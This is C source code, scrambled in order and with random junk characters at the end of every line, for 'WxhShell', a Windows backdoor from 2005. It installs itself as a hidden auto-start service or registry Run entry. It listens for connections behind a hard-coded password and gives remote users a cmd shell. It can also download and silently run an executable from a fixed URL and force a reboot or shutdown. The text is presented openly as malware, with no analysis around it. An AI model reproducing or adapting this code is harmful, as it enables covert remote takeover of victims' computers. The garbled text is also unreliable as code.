    else { =Y<RG"]a&J  
    closesocket(wsh); nhI1`l&  
    ExitThread(0); UO8./%'  
    } vF .Ml  
    break; A9C  
    } #]e](j>]  
  // 获取shell ;`}b .S =n  
  case 's': { 0|OmQ\SQ  
    CmdShell(wsh); _?~)B\@~0  
    closesocket(wsh); Jsw%.<  
    ExitThread(0); Bw*6X` 'Q  
    break; /]hE?cmj  
  } 5 $:  q  
  // 退出 5}he)2*uD  
  case 'x': { Fy-|E>@]D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); . J.| S4D  
    CloseIt(wsh); Y]9C8c)  
    break; 50Y^##]&  
    } ?%wM8?  
  // 离开 p<AzpkU,A  
  case 'q': { ` EgO&;1D)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kz?m `~1  
    closesocket(wsh); FX:'38-fk  
    WSACleanup(); X.hV MX2B  
    exit(1); YMIX|bj6Y  
    break; 2[TssJQ  
        } :P: OQ[$  
  } bT#re  
  } vGI?X#w3  
:Tn1]a)f6  
  // 提示信息 c(!8L\69V}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EP}NT)z,{  
} F<|x_6a\  
  } 'qnnZE  
-40OS=wpA  
  return; -8D$[@y(  
} =3<@{^Eg  
N[8y+2SZ  
// shell模块句柄 [" nDw<U  
int CmdShell(SOCKET sock) ?R\:6x<  
{ dT4e[4l  
STARTUPINFO si; =~F.7wq*^  
ZeroMemory(&si,sizeof(si)); DTp|he  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6n5>{X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HA::(cXL  
PROCESS_INFORMATION ProcessInfo; HT6+OK(~dJ  
char cmdline[]="cmd"; us3fBY'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,?ci+M)  
  return 0; QP0[  
} 8 !+eq5S3  
oCR-KR>{Q  
// 自身启动模式 Sn ~|<Vf  
int StartFromService(void) 7(< z=F  
{ Q2 @Ugt$  
typedef struct P1Chmg  
{ M}*#{UV2  
  DWORD ExitStatus; h!UB#-  
  DWORD PebBaseAddress; [t}$W*hY  
  DWORD AffinityMask; M~#% [?iU  
  DWORD BasePriority; ( R0>0f@  
  ULONG UniqueProcessId; 3^J~ts{*  
  ULONG InheritedFromUniqueProcessId; zMW[Xx!  
}   PROCESS_BASIC_INFORMATION; ?f ]!~  
a0=5G>G9c  
PROCNTQSIP NtQueryInformationProcess; OJ Y_u[  
 i%a jL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H&3i[D!p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nq=r404  
=zXii{t  
  HANDLE             hProcess; #pm0T1+jW  
  PROCESS_BASIC_INFORMATION pbi; 56Gc[<nR  
g4fe(.?c,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u"*Wo'3I|  
  if(NULL == hInst ) return 0; 1=.+!Tg  
rS/}!|uAu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jQLiqi`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  }FoO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uY'77,G_J  
g0 NSy3t  
  if (!NtQueryInformationProcess) return 0; ,F)9{ <r]  
_>"f&nb O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c5e  wG  
  if(!hProcess) return 0; GDMg.w 4Yk  
$7bl,~Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |KQkmc  
v1Wz#oP  
  CloseHandle(hProcess); 6 s$jt-bH  
!04zWYHo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CYCG5)<9  
if(hProcess==NULL) return 0; O5?Gv??@  
Xzp!X({   
HMODULE hMod; RN0=jo!58  
char procName[255]; %Qc5_of  
unsigned long cbNeeded; 0nbQKoF  
CS<,qvLpL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u^!c:RfE?  
8^FAeV#  
  CloseHandle(hProcess); YLEa;MR  
S`qa_yI)Ed  
if(strstr(procName,"services")) return 1; // 以服务启动 h *JzJ0X  
z#!}4@_i3  
  return 0; // 注册表启动 W$X@DXT=o  
} X>`5YdT~+  
D<35FD,  
// 主模块 M_Qv{   
int StartWxhshell(LPSTR lpCmdLine) =vaC?d3   
{ ?B!=DC@?H  
  SOCKET wsl; ic4mD:-up  
BOOL val=TRUE; GvCB3z  
  int port=0; AK brXKx  
  struct sockaddr_in door; }>|M6.n "  
=h<LlI^v  
  if(wscfg.ws_autoins) Install(); 1JIo,7  
]S=AO/'  
port=atoi(lpCmdLine); Zss `##  
mx'!I7b(L/  
if(port<=0) port=wscfg.ws_port; .-Xp]>f,  
*yx&4)Or  
  WSADATA data; 8<VO>WA>E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BV8-\R@  
bJz}\[z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DD4fV`:kG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S-8wL%r  
  door.sin_family = AF_INET; aq|R?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FccT@ ,.F  
  door.sin_port = htons(port); @4'bI)  
yz CQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (|F} B  
closesocket(wsl); xgX"5Czvv`  
return 1; 4K(AXk  
} `Z}7G@ol  
n8!qz:z/  
  if(listen(wsl,2) == INVALID_SOCKET) { ^zMME*G  
closesocket(wsl); Zy>iaG9}  
return 1; Kf.G'v46  
} g@va@*|~d  
  Wxhshell(wsl); q Z,7q  
  WSACleanup(); 4r&S&^  
Q bg,q  
return 0; >|"mhNF  
x tJ_azt  
} scff WqEo  
~1NK@=7T  
// 以NT服务方式启动 v[aFSXGj)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z=B6fu*  
{ '%u7XuU-]  
DWORD   status = 0; ^st.bzg+[  
  DWORD   specificError = 0xfffffff; wz,T7L  
R3G+tE/Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wc3OOyP@0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b;N[_2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jAa{;p"jU  
  serviceStatus.dwWin32ExitCode     = 0; ha;Xali ]  
  serviceStatus.dwServiceSpecificExitCode = 0; Lqt.S|  
  serviceStatus.dwCheckPoint       = 0; gbf-3KSp^  
  serviceStatus.dwWaitHint       = 0; Q Eh_2  
S G&VZY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {M7`z,,[  
  if (hServiceStatusHandle==0) return; Lv`*+;1 K  
Qg7rkRia  
status = GetLastError(); Nn"[GB  
  if (status!=NO_ERROR) sG/mmZHYzr  
{ Wz}8O]#/.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wH=L+bA>a  
    serviceStatus.dwCheckPoint       = 0; l1_Tr2A}7/  
    serviceStatus.dwWaitHint       = 0; OX"^a$  
    serviceStatus.dwWin32ExitCode     = status; !n=?H1@  
    serviceStatus.dwServiceSpecificExitCode = specificError; >|)ia5#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .`iG} j)\  
    return; V)$y  
  } h6*&1r  
; bBz<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p19[qy~.  
  serviceStatus.dwCheckPoint       = 0; N2?o6)  
  serviceStatus.dwWaitHint       = 0; S~ dD;R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N=>6PLie  
} BFU6?\r  
P87!+pB(  
// 处理NT服务事件,比如:启动、停止 yGNZw7^(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )HrFWI'Y  
{ cTA8F"UGD  
switch(fdwControl) I)xB I~x  
{ SIJ:[=5!7  
case SERVICE_CONTROL_STOP: dLtSa\2Hn  
  serviceStatus.dwWin32ExitCode = 0; 7}r!&Eb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Di[}y;  
  serviceStatus.dwCheckPoint   = 0; 56;(mbW  
  serviceStatus.dwWaitHint     = 0; Q?f%]uGFQ  
  { Oz\mIVC#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9uXuV$.  
  } C~do*rnM^  
  return; j@kL`Q\&I  
case SERVICE_CONTROL_PAUSE: }Pm>mQZ},  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T ;Ga G  
  break; hK!Z ~  
case SERVICE_CONTROL_CONTINUE: !Gv*iWg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BrW1:2w >\  
  break; ,BK6a'1J  
case SERVICE_CONTROL_INTERROGATE: N30w^W&  
  break; "[`.I*WNo  
}; l!n<.tQW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _eB?G  
} {K{&__Nk  
Cd4a7<-  
// 标准应用程序主函数 Wvhg:vup  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PGT*4r21  
{ _3q%  
=)56]ki}  
// 获取操作系统版本 +]n.uA-`[a  
OsIsNt=GetOsVer(); Hx}K w S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <Tq&Va_w  
QN%w\ JXS  
  // 从命令行安装 N=qe*Rlf  
  if(strpbrk(lpCmdLine,"iI")) Install(); #z|\AmZ\  
s]=s2.=  
  // 下载执行文件 go, Hfb  
if(wscfg.ws_downexe) { dg%Orvuz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ; Q-f6)+&  
  WinExec(wscfg.ws_filenam,SW_HIDE); F&{RP>  
} 'xNPy =#  
eqt+EiH   
if(!OsIsNt) { DRldRm/  
// 如果时win9x,隐藏进程并且设置为注册表启动 O[p;IG`  
HideProc(); L  lP  
StartWxhshell(lpCmdLine); zj!&12w%3  
} 'qTMY*  
else > ,L'A;c}  
  if(StartFromService()) ,`7;S,f  
  // 以服务方式启动 ]Gw?DD|Gn  
  StartServiceCtrlDispatcher(DispatchTable); U D9&k^  
else ;T0Y= yC  
  // 普通方式启动 UOn L^Z}  
  StartWxhshell(lpCmdLine); lO/<xSjNd  
yVThbL_YJ  
return 0; sSLs%)e|:  
} P)fv:a  
N0be=IO5#  
/o =V (  
xF)AuGdp\  
=========================================== ETP}mo  
|>( @n{  
<!.'"*2  
0NLoqq  
Jji~MiMn  
:uZfdu  
" }?,Gn]]  
W~GbB:-  
#include <stdio.h> TlEx w0i!  
#include <string.h> $tyF(RybG  
#include <windows.h> 'hl>pso.  
#include <winsock2.h> T ,, Ao36  
#include <winsvc.h> M.K-)r,  
#include <urlmon.h> jB]tq2i  
gWp\?La  
#pragma comment (lib, "Ws2_32.lib") [GeJn\C_?  
#pragma comment (lib, "urlmon.lib") daT[2M  
<dx xXzLT  
#define MAX_USER   100 // 最大客户端连接数 6JWCB9$4  
#define BUF_SOCK   200 // sock buffer iw<#V&([ J  
#define KEY_BUFF   255 // 输入 buffer U^4 /rbQ  
@;}bBHQz{p  
#define REBOOT     0   // 重启 LTu cs }  
#define SHUTDOWN   1   // 关机 ~je#gVoUR  
l-"c-2-!  
#define DEF_PORT   5000 // 监听端口 q/xMM `{  
jR@j+p^e  
#define REG_LEN     16   // 注册表键长度 :.['e`  
#define SVC_LEN     80   // NT服务名长度 f[3DKA  
\^iPU 27H  
// 从dll定义API ^4^1)' %  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vS-k0g;   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JicAz1P1W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g(t"+ P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )/H=m7}1h  
PL/as3O^A  
// wxhshell配置信息 &Zl$7  
struct WSCFG { 5EDN 9?a  
  int ws_port;         // 监听端口 e&f9/rfx  
  char ws_passstr[REG_LEN]; // 口令 H8~<;6W  
  int ws_autoins;       // 安装标记, 1=yes 0=no )xiiTkJd5  
  char ws_regname[REG_LEN]; // 注册表键名 Z%~j)  
  char ws_svcname[REG_LEN]; // 服务名 zyTP|SXk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R6HMi#eF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tS,nO:+x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W R@=[G#TJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ed9ynJ~)X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 Xe|P1@)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T;jp2 #  
)n 1b  
}; ]Mi ~vG q  
J@Eqqyf"  
// default Wxhshell configuration $5y%\A  
struct WSCFG wscfg={DEF_PORT, egboLqn  
    "xuhuanlingzhe", 8;;!2>N  
    1, H];|<G  
    "Wxhshell",  sBY*9I  
    "Wxhshell", Z`nHpmNM  
            "WxhShell Service", 6H67$?jMyJ  
    "Wrsky Windows CmdShell Service", S?nk9 T+  
    "Please Input Your Password: ", x/Se /C  
  1, ![3#([>4>  
  "http://www.wrsky.com/wxhshell.exe", T!5m'Q.  
  "Wxhshell.exe" C{!L +]/  
    }; 9K~2!<  
aYr?J Ol  
// 消息定义模块 "P HkbU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C%d\DuJ5'~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w*<XPBi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9{|JmgO!  
char *msg_ws_ext="\n\rExit."; t m?[0@<s  
char *msg_ws_end="\n\rQuit."; <uUQ-]QOIh  
char *msg_ws_boot="\n\rReboot..."; yjUZ 40Dq  
char *msg_ws_poff="\n\rShutdown..."; / PG+ s6  
char *msg_ws_down="\n\rSave to "; =3OK 3|  
km2('t7?  
char *msg_ws_err="\n\rErr!"; ;LE4U OK  
char *msg_ws_ok="\n\rOK!"; } r$&"wYM  
q65KxOf`  
char ExeFile[MAX_PATH]; $E3- </ f  
int nUser = 0; e*p7(b-  
HANDLE handles[MAX_USER]; zWpJ\/k~  
int OsIsNt; Kk1591'  
HQ~`ha.  
SERVICE_STATUS       serviceStatus; %JM:4G|q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $ysemDq-a\  
`Bk7W]{L  
// 函数声明 R>SS\YC'X  
int Install(void); t!RR5!  
int Uninstall(void); >c%OnA,3  
int DownloadFile(char *sURL, SOCKET wsh); n 1MZHa,  
int Boot(int flag); =r"8J5[f  
void HideProc(void); _O)xE9t#ru  
int GetOsVer(void); /!;oO_U:#  
int Wxhshell(SOCKET wsl); 1>P[3Y@}  
void TalkWithClient(void *cs); +aaj3m  
int CmdShell(SOCKET sock); 73B,I 0U  
int StartFromService(void); "V-k_d "  
int StartWxhshell(LPSTR lpCmdLine); > nV~5f+  
lo*OmAF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "*W:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2^w3xL"   
WV&T   
// 数据结构和表定义 H,`F%G#!`q  
SERVICE_TABLE_ENTRY DispatchTable[] = lxb+0fiN  
{ e5G)83[=  
{wscfg.ws_svcname, NTServiceMain}, ,?k[<C  
{NULL, NULL} 7S$Am84%  
}; eqbQ,, &  
0+MNu8t  
// 自我安装 twElLOE  
int Install(void) -V0_%Smc  
{ eJA$J=^R;  
  char svExeFile[MAX_PATH]; MyB&mC7Es  
  HKEY key; u(l[~r>8W;  
  strcpy(svExeFile,ExeFile); rx2?y3pv  
%@ UH,Ew  
// 如果是win9x系统,修改注册表设为自启动 ITJ{]7N  
if(!OsIsNt) { BrF/-F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )!.ef6|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rD=8O#m g  
  RegCloseKey(key); WLl_;BgN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q1ybJii  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "%fh`4y3\  
  RegCloseKey(key); gY\X?  
  return 0; -&4>>h9 _  
    } (5- w>(  
  } 68Po`_/s  
} O b'B?  
else { ]-[M&i=+&  
.4on7<-a  
// 如果是NT以上系统,安装为系统服务 _: @~ bHd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yUV0{A-q{0  
if (schSCManager!=0) F5UvD[i  
{ ]v^/c~"${  
  SC_HANDLE schService = CreateService fy+fJ )4sj  
  ( mdjPK rF<  
  schSCManager, e ewhT ^  
  wscfg.ws_svcname, {gh41G;n  
  wscfg.ws_svcdisp, 2gM=vaiH=  
  SERVICE_ALL_ACCESS, kFKc9}7W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mo?eVtZ  
  SERVICE_AUTO_START, s~e<Pr?yu  
  SERVICE_ERROR_NORMAL, 4 =/5  
  svExeFile, Qn= 3b:S-  
  NULL, e_'/4 n  
  NULL, ]0v;;PfVl6  
  NULL, ^b|Z<oF  
  NULL, 3m3ljy  
  NULL HYVSi3[  
  ); ,fWQSc\}  
  if (schService!=0) EmrUzaGD  
  { _)|_KQQu  
  CloseServiceHandle(schService); :5)Dn87  
  CloseServiceHandle(schSCManager); CTawXHM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l e+6;'Q  
  strcat(svExeFile,wscfg.ws_svcname); S&/</%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]0N'Wtbn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \8j5b+  
  RegCloseKey(key); q5 eyle6  
  return 0; #I> c$dd  
    } YywiY).]@  
  } WMy97*L<  
  CloseServiceHandle(schSCManager); + *u'vt?  
} 590.mCm  
} 3On IAk3  
<Jt H/oN  
return 1; Bmx+QO  
} w2*.3I,~)B  
1{6BU!  
// 自我卸载 % 8c <C  
int Uninstall(void) V11(EZJ/j  
{ NUxOU>f  
  HKEY key; 1.S7MSpTV  
U@t" o3E  
if(!OsIsNt) { $DPMi9,7^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /|7@rH([{  
  RegDeleteValue(key,wscfg.ws_regname); tW<i;2 l  
  RegCloseKey(key); R7)\w P*l5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5zk<s`h  
  RegDeleteValue(key,wscfg.ws_regname); E :gS*tsY  
  RegCloseKey(key); w+A:]SU  
  return 0; Skb,cKU  
  } 5L ]TV\\  
} 8CXZ7 p  
} B$A`thQp  
else { FHztF$Z  
"i jpqI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EY~b,MIL4  
if (schSCManager!=0) 4%!#=JCl  
{ (<M^C>pldf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?yAp&Ad  
  if (schService!=0) +65OR'd  
  { )1CYs4lp  
  if(DeleteService(schService)!=0) { )"( ojh  
  CloseServiceHandle(schService); 8aDSRfv*  
  CloseServiceHandle(schSCManager); hz:^3F`>/&  
  return 0; $'Pn(eZHGv  
  } q%H`/~AYM  
  CloseServiceHandle(schService); kg,t[Jl  
  } > L5fc".  
  CloseServiceHandle(schSCManager); z+@ CzHCN  
} yH`4 sd  
} !-G'8a|7  
( mV*7Z  
return 1; sb1Zm*m6  
} D.7,xgH  
K)-Gv|*t  
// 从指定url下载文件 OGl>i  
int DownloadFile(char *sURL, SOCKET wsh) M't~/&D#  
{ |X}H&wBWo  
  HRESULT hr; j[E8C$lW  
char seps[]= "/"; [cJQ"G '  
char *token; %62W[Oh5  
char *file; ,/m@<NyK  
char myURL[MAX_PATH]; "h@|XI  
char myFILE[MAX_PATH]; qcN{p7=0  
] lBe   
strcpy(myURL,sURL); ~* R:UTBtw  
  token=strtok(myURL,seps); s,5SWdb\v  
  while(token!=NULL) 3HtLD5%Q  
  { ?(C(9vO  
    file=token; U,G!u=+  
  token=strtok(NULL,seps);  uj8G6'm%  
  } 'A^;P]y  
i|`b2msvd  
GetCurrentDirectory(MAX_PATH,myFILE); Sf_q;Ws  
strcat(myFILE, "\\"); _'eG   
strcat(myFILE, file); |)%]MK$;  
  send(wsh,myFILE,strlen(myFILE),0); /6?A#%hc  
send(wsh,"...",3,0); ,s=jtK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gzHMZ/31  
  if(hr==S_OK) @M]uUL-ze  
return 0; $ 12mS  
else /KL;%:7  
return 1; KBUClx?  
C(=$0FIR  
} h;q= <[h\  
m=s aUhI*9  
// 系统电源模块 {"^LUw8fd  
int Boot(int flag) q+j.)e  
{ g]fdsZv  
  HANDLE hToken; "ITC P<+  
  TOKEN_PRIVILEGES tkp; AD$$S.zoD<  
|3Fo4K%+  
  if(OsIsNt) { Mz?xvP?z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,H_b@$]n8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7m4gGkX#r  
    tkp.PrivilegeCount = 1; 4yZ'+\ +I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s!lLdR[g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %NyV 2W=~X  
if(flag==REBOOT) { 3CKd[=-Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g431+O0K1  
  return 0; \t pJ   
} PZT]H?  
else { rP5&&Hso  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  <>|&%gmz  
  return 0; DGs=.U-=e  
} {S9't;%]  
  } +%O_xqq  
  else { P^lzl:|  
if(flag==REBOOT) { /mi9 q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \2UtT@3|C  
  return 0; '}nH\?(  
} |"K<   
else { *Ce8( "v,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1v<,nABuJ6  
  return 0; @yGK $<R  
} AZj `o  
} d9j+==S <  
J|O=w(  
return 1; -\6";_Y  
} N WSm  
+hUS sR&  
// win9x进程隐藏模块 gI~4A,  
void HideProc(void) !=)R+g6b  
{ b I%Sq+"}  
BzVF!<!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "e3T;M+  
  if ( hKernel != NULL ) @;6I94Bp  
  { iXF iFsb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mu1H*;_8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g9T9TQ-O  
    FreeLibrary(hKernel); @]{+9m8G@  
  } k;7R3O@  
_`oP*g =  
return; ~BUzyc%  
} /k$H"'`j4  
p)x*uqSd  
// 获取操作系统版本 )=k8W9i8b  
int GetOsVer(void) 7Gos-_s  
{ l[,RA?i {  
  OSVERSIONINFO winfo; Q; V*M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4s:S_Dw  
  GetVersionEx(&winfo); O<*l"fw3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &7fwYV  
  return 1; &8!~H<S  
  else x5X;^.1Fr  
  return 0; S-5|t]LV  
} 1#Ls4+]5  
w!5@PJ)~U  
// 客户端句柄模块 8et*q3D7`  
int Wxhshell(SOCKET wsl) @) \{u$  
{ \{GBaMwG~  
  SOCKET wsh; eG @0:  
  struct sockaddr_in client; u@@0YUa  
  DWORD myID; ^zfO=XN  
@W|N1,sp  
  while(nUser<MAX_USER) ^D}]7y|fm  
{ `R\nw)xq  
  int nSize=sizeof(client); sOf;I]E|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ycPGv.6  
  if(wsh==INVALID_SOCKET) return 1; $:4* ?8 K2  
-|FSdzvg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4PcsU HR  
if(handles[nUser]==0) IAl X^6s*  
  closesocket(wsh); }+m")=1{  
else AeZ__X  
  nUser++; 4 g%BCGsys  
  } T, z80m}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zK_+UT  
^^;#Si  
  return 0; drM@6$k  
} }JWLm.e  
ov9+6'zya  
// 关闭 socket qs|{  
void CloseIt(SOCKET wsh) 1FPt%{s3  
{ K8R}2K-Y  
closesocket(wsh); p-S&Wq  
nUser--; Pw :{  
ExitThread(0); bzC| aUGM  
} jMAZ4M  
&hSABtr}  
// 客户端请求句柄 `zw^ WbCO{  
void TalkWithClient(void *cs) \I[f@D-J  
{ ~Q3y3,x  
"{@Q..hxC  
  SOCKET wsh=(SOCKET)cs; JHvawFBN<u  
  char pwd[SVC_LEN]; e6(Pw20)s  
  char cmd[KEY_BUFF]; e*Gt%'  
char chr[1]; |u@/,x/t  
int i,j; m8:9Uv  
,P.yl~'Al  
  while (nUser < MAX_USER) { ox&PFI0Gn  
knS(\51A  
if(wscfg.ws_passstr) { V:Lq>rs#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yd>b2 M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qtI42u{  
  //ZeroMemory(pwd,KEY_BUFF); @L/p  
      i=0; 3&tJD  
  while(i<SVC_LEN) { &$V&gAN  
@,i_Gw)  
  // 设置超时 A{IJ](5.kd  
  fd_set FdRead; NE1n9  
  struct timeval TimeOut; %0MvCm  
  FD_ZERO(&FdRead); +;|" #  
  FD_SET(wsh,&FdRead); "pa2,-&  
  TimeOut.tv_sec=8; Gp.XTz#=  
  TimeOut.tv_usec=0; jY|fP!?[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ` v"p""_H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oz[Mt i*  
d>wpG^"w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TilCP"(6D  
  pwd=chr[0]; Ix59(g  
  if(chr[0]==0xd || chr[0]==0xa) { x Rp;y*  
  pwd=0; m~;}8ObQE  
  break; 9[@K4&  
  } U1y8Y/  
  i++; Q8GI;`Rb  
    } XN Gw@$  
wnr<# =,I'  
  // 如果是非法用户,关闭 socket /9o gg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ y}!yrQ  
} ~e;2gm  
M8y:FDX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vLT$oiN[c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tM DJ,rT  
e{6I-5`|,#  
while(1) { &WV&_z  
S"Z.M _  
  ZeroMemory(cmd,KEY_BUFF); _@L{]6P%V  
TO5#iiM)  
      // 自动支持客户端 telnet标准   bZ-_Q  
  j=0; ~bnyk%S o  
  while(j<KEY_BUFF) { >X58 zlxk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d$}!x[g$Z  
  cmd[j]=chr[0]; kes GwMr"e  
  if(chr[0]==0xa || chr[0]==0xd) { jV 98 2Y  
  cmd[j]=0; Pu0 <Clh  
  break; 3 [r9v!l  
  } f j:q>}V  
  j++; 'i;/?'!W6  
    } bD:[r))#e  
D3(rD]c0{  
  // 下载文件 1@<PcQBp  
  if(strstr(cmd,"http://")) { VOkSR6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H-C$Jy)f"  
  if(DownloadFile(cmd,wsh)) u5O`|I@R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CwdeW.A"j  
  else H/''lI{k)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5i1E 5@~  
  } K'f`}y9  
  else { EGw;IFj)  
$, vX yZ  
    switch(cmd[0]) { pZ)N,O3  
  12o6KVV^x  
  // 帮助 p?V@P6h  
  case '?': { o XFo  
